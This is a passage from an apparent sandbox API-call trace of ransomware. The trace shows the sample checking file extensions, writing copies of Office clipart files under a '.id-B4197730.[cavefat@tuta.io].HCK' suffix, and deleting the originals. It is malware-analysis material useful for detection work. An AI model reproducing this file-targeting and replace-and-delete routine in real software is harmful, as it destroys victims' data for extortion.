lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.332] lstrlenW (lpString=".zip") returned 4 [0171.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.332] lstrlenW (lpString=".rar") returned 4 [0171.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString=".bz2") returned 4 [0171.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString=".7z") returned 3 [0171.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.332] lstrlenW (lpString=".dbf") returned 4 [0171.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.332] lstrlenW (lpString=".1cd") returned 4 [0171.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.332] lstrlenW (lpString=".jpg") returned 4 [0171.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.332] lstrlenW (lpString=".doc") returned 4 [0171.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString=".docx") returned 5 [0171.332] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.332] lstrlenW (lpString=".pdf") returned 4 [0171.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString=".xls") returned 4 [0171.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.332] lstrlenW (lpString=".xlsx") returned 5 [0171.332] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.332] lstrlenW (lpString=".ppt") returned 4 [0171.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.333] lstrlenW (lpString=".zip") returned 4 [0171.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.333] lstrlenW (lpString=".rar") returned 4 [0171.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.333] lstrlenW (lpString=".bz2") returned 4 [0171.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.333] lstrlenW (lpString=".7z") returned 3 [0171.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.333] lstrlenW (lpString=".dbf") returned 4 [0171.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.333] lstrlenW (lpString=".1cd") returned 4 [0171.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.333] lstrlenW (lpString=".jpg") returned 4 [0171.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.333] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.333] lstrlenW (lpString="J0239935.WMF") returned 12 [0171.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.343] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4884) returned 1 [0171.343] CloseHandle (hObject=0x378) returned 1 [0171.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf")) returned 0x220 [0171.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0171.365] GetLastError () returned 0x0 [0171.365] ReadFile (in: hFile=0x374, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1314, lpOverlapped=0x0) returned 1 [0171.367] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1320, lpOverlapped=0x0) returned 1 [0171.368] ReadFile (in: hFile=0x374, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.368] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.368] SetEndOfFile (hFile=0x398) returned 1 [0171.370] CloseHandle (hObject=0x398) returned 1 [0171.371] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.371] SetEndOfFile (hFile=0x374) returned 1 [0171.373] CloseHandle (hObject=0x374) returned 1 [0171.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf")) returned 1 [0171.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.374] lstrlenW (lpString=".doc") returned 4 [0171.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".docx") returned 5 [0171.375] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.375] lstrlenW (lpString=".pdf") returned 4 [0171.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".xls") returned 4 [0171.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.375] lstrlenW (lpString=".xlsx") returned 5 [0171.375] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.375] lstrlenW (lpString=".ppt") returned 4 [0171.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.375] lstrlenW (lpString=".zip") returned 4 [0171.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.375] lstrlenW (lpString=".rar") returned 4 [0171.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".bz2") returned 4 [0171.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".7z") returned 3 [0171.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.375] lstrlenW (lpString=".dbf") returned 4 [0171.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.375] lstrlenW (lpString=".1cd") returned 4 [0171.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.375] lstrlenW (lpString=".jpg") returned 4 [0171.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.375] lstrlenW (lpString=".doc") returned 4 [0171.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".docx") returned 5 [0171.375] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.375] lstrlenW (lpString=".pdf") returned 4 [0171.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".xls") returned 4 [0171.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.375] lstrlenW (lpString=".xlsx") returned 5 [0171.375] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.375] lstrlenW (lpString=".ppt") returned 4 [0171.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.375] lstrlenW (lpString=".zip") returned 4 [0171.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.375] lstrlenW (lpString=".rar") returned 4 [0171.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".bz2") returned 4 [0171.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.375] lstrlenW (lpString=".7z") returned 3 [0171.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.376] lstrlenW (lpString=".dbf") returned 4 [0171.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.376] lstrlenW (lpString=".1cd") returned 4 [0171.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF") returned 68 [0171.376] lstrlenW (lpString=".jpg") returned 4 [0171.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.376] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.376] lstrlenW (lpString="J0239953.WMF") returned 12 [0171.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.386] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7112) returned 1 [0171.386] CloseHandle (hObject=0x2ec) returned 1 [0171.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf")) returned 0x220 [0171.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.392] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.392] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.402] GetLastError () returned 0x0 [0171.402] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1bc8, lpOverlapped=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1bd0, lpOverlapped=0x0) returned 1 [0171.405] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.405] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.405] SetEndOfFile (hFile=0x2ec) returned 1 [0171.407] CloseHandle (hObject=0x2ec) returned 1 [0171.407] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.407] SetEndOfFile (hFile=0x39c) returned 1 [0171.410] CloseHandle (hObject=0x39c) returned 1 [0171.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf")) returned 1 [0171.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.413] lstrlenW (lpString=".doc") returned 4 [0171.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.413] lstrlenW (lpString=".docx") returned 5 [0171.413] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.414] lstrlenW (lpString=".pdf") returned 4 [0171.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString=".xls") returned 4 [0171.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.414] lstrlenW (lpString=".xlsx") returned 5 [0171.414] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.414] lstrlenW (lpString=".ppt") returned 4 [0171.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.414] lstrlenW (lpString=".zip") returned 4 [0171.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.414] lstrlenW (lpString=".rar") returned 4 [0171.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString=".bz2") returned 4 [0171.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString=".7z") returned 3 [0171.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.414] lstrlenW (lpString=".dbf") returned 4 [0171.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.414] lstrlenW (lpString=".1cd") returned 4 [0171.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.414] lstrlenW (lpString=".jpg") returned 4 [0171.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.414] lstrlenW (lpString=".doc") returned 4 [0171.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString=".docx") returned 5 [0171.414] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.414] lstrlenW (lpString=".pdf") returned 4 [0171.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString=".xls") returned 4 [0171.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.414] lstrlenW (lpString=".xlsx") returned 5 [0171.414] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.414] lstrlenW (lpString=".ppt") returned 4 [0171.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.414] lstrlenW (lpString=".zip") returned 4 [0171.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.414] lstrlenW (lpString=".rar") returned 4 [0171.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.415] lstrlenW (lpString=".bz2") returned 4 [0171.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.415] lstrlenW (lpString=".7z") returned 3 [0171.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.415] lstrlenW (lpString=".dbf") returned 4 [0171.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.415] lstrlenW (lpString=".1cd") returned 4 [0171.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0171.415] lstrlenW (lpString=".jpg") returned 4 [0171.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.415] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.415] lstrlenW (lpString="J0239973.WMF") returned 12 [0171.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.420] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5096) returned 1 [0171.420] CloseHandle (hObject=0x30c) returned 1 [0171.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf")) returned 0x220 [0171.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.430] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.430] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.440] GetLastError () returned 0x0 [0171.440] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x13e8, lpOverlapped=0x0) returned 1 [0171.441] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0171.442] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.442] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.442] SetEndOfFile (hFile=0x380) returned 1 [0171.447] CloseHandle (hObject=0x380) returned 1 [0171.450] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.450] SetEndOfFile (hFile=0x39c) returned 1 [0171.455] CloseHandle (hObject=0x39c) returned 1 [0171.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf")) returned 1 [0171.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.460] lstrlenW (lpString=".doc") returned 4 [0171.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.460] lstrlenW (lpString=".docx") returned 5 [0171.460] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.460] lstrlenW (lpString=".pdf") returned 4 [0171.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.460] lstrlenW (lpString=".xls") returned 4 [0171.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.460] lstrlenW (lpString=".xlsx") returned 5 [0171.460] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.460] lstrlenW (lpString=".ppt") returned 4 [0171.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.460] lstrlenW (lpString=".zip") returned 4 [0171.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.460] lstrlenW (lpString=".rar") returned 4 [0171.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.460] lstrlenW (lpString=".bz2") returned 4 [0171.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString=".7z") returned 3 [0171.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.461] lstrlenW 